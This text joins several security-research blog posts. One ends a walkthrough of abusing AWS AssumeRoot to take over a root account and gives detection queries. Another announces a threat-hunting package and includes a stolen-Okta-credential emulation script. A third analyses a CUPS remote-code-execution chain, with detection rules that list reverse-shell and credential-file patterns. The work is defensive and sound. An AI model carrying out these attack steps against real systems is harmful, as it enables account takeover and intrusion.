2. Leveraging this session, we assumed the identity of the root user of a target member account, acquiring temporary credentials scoped to the IAMCreateRootUserPassword task policy.
3. With these temporary root credentials, we established an IAM client session and successfully created a login profile for the root user.

The final step involves resetting the root user password to gain permanent access to the AWS Management Console. To do this, visit the AWS console login page and attempt to log in as the root user. Select the “Forgot Password” option to initiate the password recovery process. This will prompt a CAPTCHA challenge, after which a password reset link is sent to the root user’s email address. This would be the third roadblock for an adversary as they would need access to the root user’s email inbox to continue with the password reset workflow. It should be acknowledged that if CreateLoginProfile is called, you can specify the password for the user and enforce a “password reset required”. However, this is not allowed for root accounts by default, and for good reason by AWS. Unlike the first hurdle of having valid credentials, access to a user’s inbox may prove more difficult and less likely, but again, with enough motivation and resources, it is still possible.

After selecting the password reset link, you can set a new password for the root user. This step provides lasting access to the console as the root user. Unlike the temporary credentials obtained earlier, this access is no longer limited by the session duration or scoped permissions of the IAMCreateRootUserPassword policy, granting unrestricted administrative control over the member account.

Before moving on, if you followed along and tried this in your environment, we want to gently remind you to use Terraform to remove testing resources using the terraform destroy command in the same folder where you initialized and deployed the resources.

Detection and Hunting Opportunities

While exploring cloud features and APIs from an adversary's perspective is insightful, our ultimate responsibility lies in detecting and mitigating malicious or anomalous behavior, alerting stakeholders, and responding effectively. Also, while such a scenario has not been publicly documented in the wild, we should not wait to be a victim either and be reactive, hence the reason for our whitebox scenario.

The following detection and hunting queries rely on AWS CloudTrail data ingested into the Elastic Stack using the AWS integration. If your environment differs, you may need to adjust these queries for custom ingestion processes or adapt them for a different SIEM or query tool.

Note: Ensure that AWS CloudTrail is enabled for all accounts in your organization to provide comprehensive visibility into activity across your AWS environment. You may also need to enable the specific trail used for monitoring across the entire organization so all member accounts are observed properly.

Hunting - Unusual Action for IAM User Access Key

This query identifies potentially compromised IAM access keys that are used to make unusual API calls. It sorts the results in ascending order to surface less frequent API calls within the last two weeks. This query can be adjusted to account for different API calls or include other CloudTrail-specific fields.

Hunting Query: AWS IAM Unusual AWS Access Key Usage for User

MITRE ATT&CK:

• T1078.004 - Valid Accounts: Cloud Accounts

Language: ES|QL

FROM logs-aws.cloudtrail*
| WHERE @timestamp > now() - 14 day
| WHERE
    event.dataset == "aws.cloudtrail"
    and event.outcome == "success"
    and aws.cloudtrail.user_identity.access_key_id IS NOT NULL
    and aws.cloudtrail.resources.arn IS NOT NULL
    and event.action NOT IN ("GetObject")
| EVAL daily_buckets = DATE_TRUNC(1 days, @timestamp)
| STATS
    api_counts = count(*) by daily_buckets, aws.cloudtrail.user_identity.arn, aws.cloudtrail.user_identity.access_key_id, aws.cloudtrail.resources.arn, event.action
| WHERE api_counts < 2
| SORT api_counts ASC

Detection - Unusual Assume Root Action by Rare IAM User

Detection Rule: AWS STS AssumeRoot by Rare User and Member Account

This query identifies instances where the AssumeRoot API call is made by an IAM user ARN and member account that have not performed this action in the last 14 days. This anomaly-based detection uses Elastic’s New Terms detection rule.

• The aws.cloudtrail.user_identity.arn field identifies the source IAM user from the management AWS account.
• The aws.cloudtrail.resources.account_id field reflects the target member account.

MITRE ATT&CK:

• T1548.005 - Temporary Elevated Cloud Access
• T1098.003 - Additional Cloud Roles

Language: KQL

event.dataset: "aws.cloudtrail"
    and event.provider: "sts.amazonaws.com"
    and event.action: "AssumeRoot"
    and event.outcome: "success"

New Term Fields:
If any combination of these fields has not been seen executing AssumeRoot within the last 14 days, an alert is generated.

• aws.cloudtrail.user_identity.arn
• aws.cloudtrail.resources.account_id

Detection - Self-Created Login Profile for Root Member Account

This query detects instances where a login profile is created for a root member account by the root account itself, potentially indicating unauthorized or anomalous behavior.

Detection Rule: AWS IAM Login Profile Added for Root

MITRE ATT&CK:

• T1098.003 - Account Manipulation: Additional Cloud Roles
• T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access
• T1078.004 - Valid Accounts: Cloud Accounts

Language: ES|QL

FROM logs-aws.cloudtrail* 
| WHERE
    // filter for CloudTrail logs from IAM
    event.dataset == "aws.cloudtrail"
    and event.provider == "iam.amazonaws.com"
    // filter for successful CreateLoginProfile API call
    and event.action == "CreateLoginProfile"
    and event.outcome == "success"
    // filter for Root member account
    and aws.cloudtrail.user_identity.type == "Root"
    // filter for an access key existing which sources from AssumeRoot
    and aws.cloudtrail.user_identity.access_key_id IS NOT NULL
    // filter on the request parameters not including UserName which assumes self-assignment
    and NOT TO_LOWER(aws.cloudtrail.request_parameters) LIKE "*username*"
| keep
    @timestamp,
    aws.cloudtrail.request_parameters,
    aws.cloudtrail.response_elements,
    aws.cloudtrail.user_identity.type,
    aws.cloudtrail.user_identity.arn,
    aws.cloudtrail.user_identity.access_key_id,
    cloud.account.id,
    event.action,
    source.address
    source.geo.continent_name,
    source.geo.region_name,
    source.geo.city_name,
    user_agent.original,
    user.id

These detections are specific to our scenario, however, are not fully inclusive regarding all potential AssumeRoot abuse. If you choose to explore and discover some additional hunting or threat detection opportunities, feel free to share in our Detection Rules repository or the Threat Hunting library of ours.

Hardening Practices for AssumeRoot Use

AWS documentation contains several important considerations for best security practices regarding IAM, STS, and many other services. However, cloud security is not a “one size fits all” workflow and security practices should be tailored to your environment, risk-tolerance, and more.

Visibility is Key: If you can’t see it, you can’t protect it. Start by enabling CloudTrail with organization-wide trails to log activity across all accounts. Focus on capturing IAM and STS operations for insights into access and permission usage. Pair this with Security Hub for continuous monitoring and tools like Elastic or GuardDuty to hunt for unusual AssumeRoot actions.

Lock Down AssumeRoot Permissions: Scope AssumeRoot usage to critical tasks only, like audits or recovery, by restricting task policies to essentials like IAMAuditRootUserCredentials. Assign these permissions to specific roles in the management account and keep those roles tightly controlled. Regularly review and remove unnecessary permissions to maintain the PLoP.

MFA and Guardrails for Root Access: Enforce MFA for all users, especially those with access to AssumeRoot. Use AWS Organizations to disable root credential recovery unless absolutely needed and remove unused root credentials entirely. RCPs can help centralize and tighten permissions for tasks involving AssumeRoot or other sensitive operations.

Conclusion

We hope this article provides valuable insight into AWS’ AssumeRoot API operation, how it can be abused by adversaries, and some threat detection and hunting guidance. Abusing AssumeRoot is one of many living-off-the-cloud (LotC) techniques that adversaries have the capability to target, but we encourage others to explore, research, and share their findings accordingly with the community and AWS.

These hunting queries can be found under the Hunting package. This initiative is designed to empower our community with specialized threat hunting queries and resources across multiple platforms, complementing our robust SIEM and EDR ruleset. These are developed to be consistent with the paradigms and methodologies we discuss in the Elastic Threat Hunting guide.

Why Threat Hunting?

Threat hunting is a proactive approach to security that involves searching for hidden threats that evade conventional detection solutions while assuming breach. At Elastic, we recognize the importance of threat hunting in strengthening security defenses and are committed to facilitating this critical activity.

While we commit a substantial amount of time and effort towards building out resilient detections, we understand that alerting on malicious behavior is only one part of an effective overall strategy. Threat hunting moves the needle to the left, allowing for a more proactive approach to understanding and securing the environment.

The idea is that the rules and hunt queries will supplement each other in many ways. Most hunts also serve as great pivot points once an alert has triggered, as a powerful means to ascertain related details and paint a full picture. They are just as useful when it comes to triaging as proactively hunting.

Additionally, we often find ourselves writing resilient and robust logic that just doesn’t meet the criteria for a rule, whether it is too noisy or not specific enough. This will serve as an additional means to preserve the value of these research outcomes in the form of these queries.

What We Are Providing

The new Hunting package provides a diverse range of hunting queries targeting all the same environments as our rules do, and potentially even more, including:

• Endpoints (Windows, Linux, macOS)
• Cloud (CSPs, SaaS providers, etc.)
• Network
• Large Language Models (LLM)
• Any other Elastic integration or datasource that adds value

These queries are crafted by our security experts to help you gather initial data that is required to test your hypothesis during your hunts. These queries also include names and descriptions that may be a starting point for your hunting efforts as well. All of this valuable information is then stored in an index file (both YAML and Markdown) for management, ease-of-use and centralizing our collection of hunting queries.

Hunting Package

The Hunting package has also been made to be its own module within Detection Rules with a few simple commands for easy management and searching throughout the catalogue of hunting queries. Our goal is not to provide an out-of-the-box hunting tool, but rather a foundation for programmatically managing and eventually leveraging these hunting queries.

Existing Commands:

Generate Markdown - Load TOML files or path of choice and convert to Markdown representation in respective locations.

Refresh Index - Refresh indexes from the collection of queries, both YAML and Markdown.

Search - Search for hunting queries based on MITRE tactic, technique or subtechnique IDs. Also includes the ability to search per data source.

Run Query - Run query of choice against a particular stack to identify hits (requires pre-auth). Generates a search link for easy pivot.

View Hunt- View a hunting file in TOML or JSON format.

Hunt Summary- Generate count statistics based on breakdown of integration, platform, or language

Benefits of these Hunt Queries

Each hunting query will be saved in its respective TOML file for programmatic use, but also have a replicated markdown file that serves as a quick reference for manual tasks or review. We understand that while automation is crucial to hunting maturity, often hunters may want a quick and easy copy-paste job to reveal events of interest. Our collection of hunt queries and CLI options offers several advantages to both novice and experienced threat hunters. Each query in the library is designed to serve as a powerful tool for detecting hidden threats, as well as offering additional layers of investigation during incident response.

• Programmatic and Manual Flexibility: Each query is structured in a standardized TOML format for programmatic use, but also offers a Markdown version for those who prefer manual interaction.
• Scalable queries: Our hunt queries are designed with scalability in mind, leveraging the power of Elastic’s versatile and latest query languages such as ES|QL. This scalability ensures that you can continuously adapt your hunting efforts as your organization’s infrastructure grows, maintaining high levels of visibility and security.
• Integration with Elastic’s Product: These queries integrate with the Elastic Stack and our automation enables you to test quickly, enabling you to pivot through Elastic’s Security UI for deeper analysis.
• Diverse Query Types Available: Out hunt queries support a wide variety of query languages, including KQL, EQL, ES|QL, OsQuery, and YARA, making them adaptable across different data sources and environments. Whether hunting across endpoints, cloud environments, or specific integrations like Okta or LLMs, users can leverage the right language for their unique needs.
• Extended Coverage for Elastic Prebuilt Rules: While Elastic’s prebuilt detection rules offer robust coverage, there are always scenarios where vendor detection logic may not fully meet operational needs due to the specific environment or nature of the threat. These hunting queries help to fill in those gaps by offering broader and more nuanced coveraged, particularly for behaviors that don’t nearly fit into rule-based detections.
• Stepping stone for hunt initialization or pivoting: These queries serve as an initial approach to kickstart investigations or pivot from initial findings. Whether used proactively to identify potential threats or reactively to expand upon triggered alerts, these queries can provide additional context and insights based on threat hunter hypothesis and workflows.
• MITRE ATT&CK Alignment: Every hunt query includes MITRE ATT&CK mappings to provide contextual insight and help prioritize the investigation of threats according to threat behaviors.
• Community and Maintenance: This hunting module lives within the broader Elastic Detection Rules repository, ensuring continual updates alongside our prebuilt rules. Community contributions also enable our users to collaborate and expand unique ways to hunt.

As we understand the fast-paced nature of hunting and need for automation, we have included searching capabilities and a run option to quickly identify if you have matching results from any hunting queries in this library.

Details of Each Hunting Analytic

Each hunting search query in our repository includes the following details to maximize its effectiveness and ease of use:

• Data Source or Integration: The origin of the data utilized in the hunt.
• Name: A descriptive title for the hunting query.
• Hypothesis: The underlying assumption or threat scenario the hunt aims to investigate. This is representated as the description.
• Query(s): Provided in one of several formats, including ES|QL, EQL, KQL, or OsQuery.
• Notes: Additional information on how to pivot within the data, key indicators to watch for, and other valuable insights.
• References: Links to relevant resources and documentation that support the hunt.
• Mapping to MITRE ATT&CK: How the hunt correlates to known tactics, techniques, and procedures in the MITRE ATT&CK framework.

For those who prefer a more hands-on approach, we also provide TOML files for programmatic consumption. Additionally, we offer an easy converter to Markdown for users who prefer to manually copy and paste the hunts into their systems.

Hunting Query Creation Example:

In the following example, we will explore a basic hunting cycle for the purpose of creating a new hunting query that we want to use in later hunting cycles. Note that this is an oversimplified hunting cycle that may require several more steps in a real-world application.

Hypothesis: We assume that a threat adversary (TA) is targeting identity providers (IdPs), specifically Okta, by compromising cloud accounts by identifying runtime instances in CI/CD pipelines that use client credentials for authentication with Okta’s API. Their goal is to identify unsecure credentials, take these and obtain an access token whose assumed credentials are tied to an Okta administrator.

Evidence: We suspect that in order to identify evidence of this, we need Okta system logs that report API activity, specifically any public client app sending access token requests where the grant type provided are client credentials. We also suspect that because the TA is unaware of the mapped OAuth scopes for this application, that when the access token request is sent, it may fail due to the incorrect OAuth scopes being explicitly sent. We also know that demonstrating proof-of-possession (DPoP) is not required for our client applications during authentication workflow because doing so would be disruptive to operations so we prioritize operability over security.

Below is the python code used to emulate the behavior of attempting to get an access token with stolen client credentials where the scope is okta.trustedOrigins.manage so the actor can add a new cross-origins (CORS) policy and route client authentication through their own server.

import requests

okta_domain = "TARGET_DOMAIN"
client_id = "STOLEN_CLIENT_ID"
client_secret = "STOLEN_CLIENT_CREDENTIALS"

# Prepare the request
auth_url = f"{okta_domain}/oauth2/default/v1/token"
auth_data = {
    "grant_type": "client_credentials",
    "scope": "okta.trustedOrigins.manage" 
}
auth_headers = {
    "Accept": "application/json",
    "Content-Type": "application/x-www-form-urlencoded",
    "Authorization": f"Basic {client_id}:{client_secret}"
}
# Make the request
response = requests.post(auth_url, headers=auth_headers, data=auth_data)

# Handle the response
if response.ok:
    token = response.json().get("access_token")
    print(f"Token: {token}")
else:
    print(f"Error: {response.text}")

Following this behavior, we formulate a query as such for hunting where we filter out some known client applications like DataDog and Elastic’s Okta integrations.

from logs-okta.system*
| where @timestamp > NOW() - 7 day
| where
    event.dataset == "okta.system"

    // filter on failed access token grant requests where source is a public client app
    and event.action == "app.oauth2.as.token.grant"
    and okta.actor.type == "PublicClientApp"
    and okta.outcome.result == "FAILURE"

    // filter out known Elastic and Datadog actors
    and not (
        okta.actor.display_name LIKE "Elastic%"
        or okta.actor.display_name LIKE "Datadog%"
    )

    // filter for scopes that are not implicitly granted
    and okta.outcome.reason == "no_matching_scope"

As shown below, we identify matching results and begin to pivot and dive deeper into this investigation, eventually involving incident response (IR) and escalating appropriately.

During our after actions report (AAR), we take note of the query that helped identify these compromised credentials and decide to preserve this as a hunting query in our forked Detection Rules repository. It doesn’t quite make sense to create a detection rule based on the fidelity of this and knowing the constant development work we do with custom applications that interact with the Okta APIs, therefore we reserve it as a hunting query.

Creating a new hunting query TOML file in the hunting/okta/queries package, we add the following information:

author = "EvilC0rp Defenders"
description = """Long Description of Hunt Intentions"""
integration = ["okta"]
uuid = "0b936024-71d9-11ef-a9be-f661ea17fbcc"
name = "Failed OAuth Access Token Retrieval via Public Client App"
language = ["ES|QL"]
license = "Apache License 2.0"
notes = [Array of useful notes from our investigation]
mitre = ['T1550.001']
query = [Our query as shown above]

With the file saved we run python -m hunting generate-markdown FILEPATH to generate the markdown version of it in hunting/okta/docs/.

Once saved, we can view our new hunting content by using the view-rule command or search for it by running the search command, specifying Okta as the data source and T1550.001 as the subtechnique we are looking for.

Last but not least, we can check that the query runs successfully by using the run-query command as long as we save a .detection-rules-cfg-yaml file with our Elasticsearch authentication details, which will tell us if we have matching results or not.

Now we can refresh our hunting indexes with the refresh-index command and ensure that our markdown file has been created.

How We Plan to Expand

Our aim is to continually enhance the Hunting package with additional queries, covering an even wider array of threat scenarios. We will update this resource based on:

• Emerging Threats: Developing new queries as new types of cyber threats arise.
• Community Feedback: Incorporating suggestions and improvements proposed by our community.
• Fill Gaps Where Traditional alerting Fails: While we understand the power of our advanced SIEM and EDR, we also understand how some situations favor hunting instead.
• Longevity and Maintenance: Our hunting package lives within the very same repository we actively manage our out-of-the-box (OOTB) prebuilt detection rules for the Elastic SIEM. As a result, we plan to routinely add and update our hunting resources.
• New Features: Develop new features and commands to aid users with the repository of their hunting efforts.

Our expansion would not be complete without sharing to the rest of the community in an effort to provide value wherever possible. The adoption of these resources or even paradigms surrounding threat scenarios is an important effort by our team to help hunting efforts.

Lastly, we acknowledge and applaud the existing hunting efforts done or in-progress by our industry peers and community. We also acknowledge that maintaining such a package of hunting analytics and/or queries requires consistency and careful planning. Thus this package will receive continued support and additional hunting queries added over time, often aligning with our detection research efforts or community submissions!

Get Involved

Explore the Hunting resources, utilize the queries and python package, participate in our community discussion forums to share your experiences and contribute to the evolution of this resource. Your feedback is crucial for us to refine and expand our offerings.

• Detection Rules Community Slack Channel
• Hunting “Getting Started” Doc
• Elastic Security Labs on X

Conclusion

With the expansion of these hunting resources, Elastic reaffirms its commitment to advancing cybersecurity defenses. This resource is designed for both experienced threat hunters and those new to the field, providing the tools needed to detect and mitigate sophisticated cyber threats effectively.

Stay tuned for more updates, and happy hunting!

The following packages introduced out-of-the-box (OOTB) rules to detect the exploitation of these vulnerabilities. Please check your "Prebuilt Security Detection Rules" integration versions or visit the Downloadable rule updates site.

• Stack Version 8.15 - Package Version 8.15.6+
• Stack Version 8.14 - Package Version 8.14.12+
• Stack Version 8.13 - Package Version 8.13.18+
• Stack Version 8.12 - Package Version 8.12.23+

Key takeaways

• On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) disclosed multiple vulnerabilities affecting the cups-browsed, libscupsfilters, and libppd components of the CUPS printing system, impacting versions <= 2.0.1.
• The vulnerabilities allow an unauthenticated remote attacker to exploit the printing system via IPP (Internet Printing Protocol) and mDNS to achieve remote code execution (RCE) on affected systems.
• The attack can be initiated over the public internet or local network, targeting the UDP port 631 exposed by cups-browsed without any authentication requirements.
• The vulnerability chain includes the foomatic-rip filter, which permits the execution of arbitrary commands through the FoomaticRIPCommandLine directive, a known (CVE-2011-2697, CVE-2011-2964) but unpatched issue since 2011.
• Systems affected include most GNU/Linux distributions, BSDs, ChromeOS, and Solaris, many of which have the cups-browsed service enabled by default.
• By the title of the publication, “Attacking UNIX Systems via CUPS, Part I” Margaritelli likely expects to publish further research on the topic.
• Elastic has provided protections and guidance to help organizations detect and mitigate potential exploitation of these vulnerabilities.

The CUPS RCE at a glance

On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) uncovered a chain of critical vulnerabilities in the CUPS (Common Unix Printing System) utilities, specifically in components like cups-browsed, libcupsfilters, and libppd. These vulnerabilities — identified as CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177 — affect widely adopted UNIX systems such as GNU/Linux, BSDs, ChromeOS, and Solaris, exposing them to remote code execution (RCE).

At the core of the issue is the lack of input validation in the CUPS components, which allows attackers to exploit the Internet Printing Protocol (IPP). Attackers can send malicious packets to the target's UDP port 631 over the Internet (WAN) or spoof DNS-SD/mDNS advertisements within a local network (LAN), forcing the vulnerable system to connect to a malicious IPP server.

For context, the IPP is an application layer protocol used to send and receive print jobs over the network. These communications include sending information regarding the state of the printer (paper jams, low ink, etc.) and the state of any jobs. IPP is supported across all major operating systems including Windows, macOS, and Linux. When a printer is available, the printer broadcasts (via DNS) a message stating that the printer is ready including its Uniform Resource Identifier (URI). When Linux workstations receive this message, many Linux default configurations will automatically add and register the printer for use within the OS. As such, the malicious printer in this case will be automatically registered and made available for print jobs.

Upon connecting, the malicious server returns crafted IPP attributes that are injected into PostScript Printer Description (PPD) files, which are used by CUPS to describe printer properties. These manipulated PPD files enable the attacker to execute arbitrary commands when a print job is triggered.

One of the major vulnerabilities in this chain is the foomatic-rip filter, which has been known to allow arbitrary command execution through the FoomaticRIPCommandLine directive. Despite being vulnerable for over a decade, it remains unpatched in many modern CUPS implementations, further exacerbating the risk.

While these vulnerabilities are highly critical with a CVSS score as high as 9.9, they can be mitigated by disabling cups-browsed, blocking UDP port 631, and updating CUPS to a patched version. Many UNIX systems have this service enabled by default, making this an urgent issue for affected organizations to address.

Elastic’s POC analysis

Elastic’s Threat Research Engineers initially located the original proof-of-concept written by @evilsocket, which had been leaked. However, we chose to utilize the cupshax proof of concept (PoC) based on its ability to execute locally.

To start, the PoC made use of a custom Python class that was responsible for creating and registering the fake printer service on the network using mDNS/ZeroConf. This is mainly achieved by creating a ZeroConf service entry for the fake Internet Printing Protocol (IPP) printer.

Upon execution, the PoC broadcasts a fake printer advertisement and listens for IPP requests. When a vulnerable system sees the broadcast, the victim automatically requests the printer's attributes from a URL provided in the broadcast message. The PoC responds with IPP attributes including the FoomaticRIPCommandLine parameter, which is known for its history of CVEs. The victim generates and saves a PostScript Printer Description (PPD) file from these IPP attributes.

At this point, continued execution requires user interaction to start a print job and choose to send it to the fake printer. Once a print job is sent, the PPD file tells CUPS how to handle the print job. The included FoomaticRIPCommandLine directive allows the arbitrary command execution on the victim machine.

During our review and testing of the exploits with the Cupshax PoC, we identified several notable hurdles and key details about these vulnerable endpoint and execution processes.

When running arbitrary commands to create files, we noticed that lp is the user and group reported for arbitrary command execution, the default printing group on Linux systems that use CUPS utilities. Thus, the Cupshax PoC/exploit requires both the CUPS vulnerabilities and the lp user to have sufficient permissions to retrieve and run a malicious payload. By default, the lp user on many systems will have these permissions to run effective payloads such as reverse shells; however, an alternative mitigation is to restrict lp such that these payloads are ineffective through native controls available within Linux such as AppArmor or SELinux policies, alongside firewall or IPtables enforcement policies.

The lp user in many default configurations has access to commands that are not required for the print service, for instance telnet. To reduce the attack surface, we recommend removing unnecessary services and adding restrictions to them where needed to prevent the lp user from using them.

We also took note that interactive reverse shells are not immediately supported through this technique, since the lp user does not have a login shell; however, with some creative tactics, we were able to still accomplish this with the PoC. Typical PoCs test the exploit by writing a file to /tmp/, which is trivial to detect in most cases. Note that the user writing this file will be lp so similar behavior will be present for attackers downloading and saving a payload on disk.

Alongside these observations, the parent process, foomatic-rip was observed in our telemetry executing a shell, which is highly uncommon

Executing the ‘Cupshax’ POC

To demonstrate the impact of these vulnerabilities, we attempted to accomplish two different scenarios: using a payload for a reverse shell using living off the land techniques and retrieving and executing a remote payload. These actions are often common for adversarial groups to attempt to leverage once a vulnerable system is identified. While in its infancy, widespread exploitation has not been observed, but likely will replicate some of the scenarios depicted below.

Our first attempts running the Cupshax PoC were met with a number of minor roadblocks due to the default user groups assigned to the lp user — namely restrictions around interactive logon, an attribute common to users that require remote access to systems. This did not, however, impact our ability to download a remote payload, compile, and execute on the impacted host system:

Continued testing was performed around reverse shell invocation, successfully demonstrated below:

Assessing impact

• Severity: These vulnerabilities are given CVSS scores controversially up to 9.9, indicating a critical severity. The widespread use of CUPS and the ability to remotely exploit these vulnerabilities make this a high-risk issue.
• Who is affected?: The vulnerability affects most UNIX-based systems, including major GNU/Linux distributions and other operating systems like ChromeOS and BSDs running the impacted CUPS components. Public-facing or network-exposed systems are particularly at risk. Further guidance, and notifications will likely be provided by vendors as patches become available, alongside further remediation steps. Even though CUPS usually listens on localhost, the Shodan Report highlights that over 75,000 CUPS services are exposed on the internet.
• Potential Damage: Once exploited, attackers can gain control over the system to run arbitrary commands. Depending on the environment, this can lead to data exfiltration, ransomware installation, or other malicious actions. Systems connected to printers over WAN are especially at risk since attackers can exploit this without needing internal network access.

Remediations

As highlighted by @evilsocket, there are several remediation recommendations.

• Disable and uninstall the cups-browsed service. For example, see the recommendations from Red Hat and Ubuntu.
• Ensure your CUPS packages are updated to the latest versions available for your distribution.
• If updating isn’t possible, block UDP port 631 and DNS-SD traffic from potentially impacted hosts, and investigate the aforementioned recommendations to further harden the lp user and group configuration on the host.

Elastic protections

In this section, we look into detection and hunting queries designed to uncover suspicious activity linked to the currently published vulnerabilities. By focusing on process behaviors and command execution patterns, these queries help identify potential exploitation attempts before they escalate into full-blown attacks.

cupsd or foomatic-rip shell execution

The first detection rule targets processes on Linux systems that are spawned by foomatic-rip and immediately launch a shell. This is effective because legitimate print jobs rarely require shell execution, making this behavior a strong indicator of malicious activity. Note: A shell may not always be an adversary’s goal if arbitrary command execution is possible.

process where host.os.type == "linux" and event.type == "start" and
 event.action == "exec" and process.parent.name == "foomatic-rip" and
 process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") 
 and not process.command_line like ("*/tmp/foomatic-*", "*-sDEVICE=ps2write*")

This query managed to detect all 33 PoC attempts that we performed:

https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_shell_execution.toml

Printer user (lp) shell execution

This detection rule assumes that the default printer user (lp) handles the printing processes. By specifying this user, we can narrow the scope while broadening the parent process list to include cupsd. Although there's currently no indication that RCE can be exploited through cupsd, we cannot rule out the possibility.

process where host.os.type == "linux" and event.type == "start" and
 event.action == "exec" and user.name == "lp" and
 process.parent.name in ("cupsd", "foomatic-rip", "bash", "dash", "sh", 
 "tcsh", "csh", "zsh", "ksh", "fish") and process.name in ("bash", "dash", 
 "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not process.command_line 
 like ("*/tmp/foomatic-*", "*-sDEVICE=ps2write*")

By focusing on the username lp, we broadened the scope and detected, like previously, all of the 33 PoC executions:

https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_lp_user_execution.toml

Network connection by CUPS foomatic-rip child

This rule identifies network connections initiated by child processes of foomatic-rip, which is a behavior that raises suspicion. Since legitimate operations typically do not involve these processes establishing outbound connections, any detected activity should be closely examined. If such communications are expected in your environment, ensure that the destination IPs are properly excluded to avoid unnecessary alerts.

sequence by host.id with maxspan=10s
  [process where host.os.type == "linux" and event.type == "start" 
   and event.action == "exec" and
   process.parent.name == "foomatic-rip" and
   process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] 
   by process.entity_id
  [network where host.os.type == "linux" and event.type == "start" and 
   event.action == "connection_attempted"] by process.parent.entity_id

By capturing the parent/child relationship, we ensure the network connections originate from the potentially compromised application.

https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/command_and_control_cupsd_foomatic_rip_netcon.toml

File creation by CUPS foomatic-rip child

This rule detects suspicious file creation events initiated by child processes of foomatic-rip. As all current proof-of-concepts have a default testing payload of writing to a file in /tmp/, this rule would catch that. Additionally, it can detect scenarios where an attacker downloads a malicious payload and subsequently creates a file.

sequence by host.id with maxspan=10s
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.parent.name == "foomatic-rip" and 
   process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.entity_id
  [file where host.os.type == "linux" and event.type != "deletion" and
   not (process.name == "gs" and file.path like "/tmp/gs_*")] by process.parent.entity_id

The rule excludes /tmp/gs_* to account for default cupsd behavior, but for enhanced security, you may choose to remove this exclusion, keeping in mind that it may generate more noise in alerts.

https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_file_creation.toml

Suspicious execution from foomatic-rip or cupsd parent

This rule detects suspicious command lines executed by child processes of foomatic-rip and cupsd. It focuses on identifying potentially malicious activities, including persistence mechanisms, file downloads, encoding/decoding operations, reverse shells, and shared-object loading via GTFOBins.

process where host.os.type == "linux" and event.type == "start" and 
 event.action == "exec" and process.parent.name in 
 ("foomatic-rip", "cupsd") and process.command_line like (
  // persistence
  "*cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", 
  "*/etc/update-motd.d*", "*/etc/sudoers*",
  "*/etc/profile*", "*autostart*", "*/etc/ssh*", "*/home/*/.ssh/*", 
  "*/root/.ssh*", "*~/.ssh/*", "*udev*", "*/etc/shadow*", "*/etc/passwd*",
    // Downloads
  "*curl*", "*wget*",

  // encoding and decoding
  "*base64 *", "*base32 *", "*xxd *", "*openssl*",

  // reverse connections
  "*GS_ARGS=*", "*/dev/tcp*", "*/dev/udp/*", "*import*pty*spawn*", "*import*subprocess*call*", "*TCPSocket.new*",
  "*TCPSocket.open*", "*io.popen*", "*os.execute*", "*fsockopen*", "*disown*", "*nohup*",

  // SO loads
  "*openssl*-engine*.so*", "*cdll.LoadLibrary*.so*", "*ruby*-e**Fiddle.dlopen*.so*", "*Fiddle.dlopen*.so*",
  "*cdll.LoadLibrary*.so*",

  // misc. suspicious command lines
   "*/etc/ld.so*", "*/dev/shm/*", "*/var/tmp*", "*echo*", "*>>*", "*|*"
)

By making an exception of the command lines as we did in the rule above, we can broaden the scope to also detect the cupsd parent, without the fear of false positives.

https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_suspicious_child_execution.toml

Elastic’s Attack Discovery

In addition to prebuilt content published, Elastic’s Attack Discovery can provide context and insights by analyzing alerts in your environment and identifying threats by leveraging Large Language Models (LLMs). In the following example, Attack Discovery provides a short summary and a timeline of the activity. The behaviors are then mapped to an attack chain to highlight impacted stages and help triage the alerts.

Conclusion

The recent CUPS vulnerability disclosure highlights the evolving threat landscape, underscoring the importance of securing services like printing. With a high CVSS score, this issue calls for immediate action, particularly given how easily these flaws can be exploited remotely. Although the service is installed by default on some UNIX OS (based on supply chain), manual user interaction is needed to trigger the printer job. We recommend that users remain vigilant, continue hunting, and not underestimate the risk. While the threat requires user interaction, if paired with a spear phishing document, it may coerce victims to print using the rogue printer. Or even worse, silently replacing existing printers or installing new ones as indicated by @evilsocket.

We expect more to be revealed as the initial disclosure was labeled part 1. Ultimately, visibility and detection capabilities remain at the forefront of defensive strategies for these systems, ensuring that attackers cannot exploit overlooked vulnerabilities.

Key References

• https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
• https://github.com/RickdeJager/cupshax/blob/main/cupshax.py
• https://www.cve.org/CVERecord?id=CVE-2024-47076
• https://www.cve.org/CVERecord?id=CVE-2024-47175
• https://www.cve.org/CVERecord?id=CVE-2024-47176
• https://www.cve.org/CVERecord?id=CVE-2024-47177

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

At Elastic, we believe security is a journey, not a destination. As threats evolve and adversaries become more effective, security teams must continuously adapt and improve their processes to stay ahead of the curve. One of the key components of an effective security program is developing and managing threat detection rulesets. These rulesets are essential for identifying and responding to security incidents. However, the quality and effectiveness of these rulesets are directly influenced by the processes and behaviors of the security team managing them.

To address the evolving challenges in threat detection engineering and ensure consistent improvement across security teams, we have defined the Detection Engineering Behavior Maturity Model (DEBMM). This model, complemented by other models and frameworks, provides a structured approach for security teams to consistently mature their processes and behaviors. By focusing on the team's processes and behaviors, the model ensures that detection rulesets are developed, managed, and improved effectively, regardless of the individual or the specific ruleset in question. This approach promotes a culture of continuous improvement and consistency in threat detection capabilities.

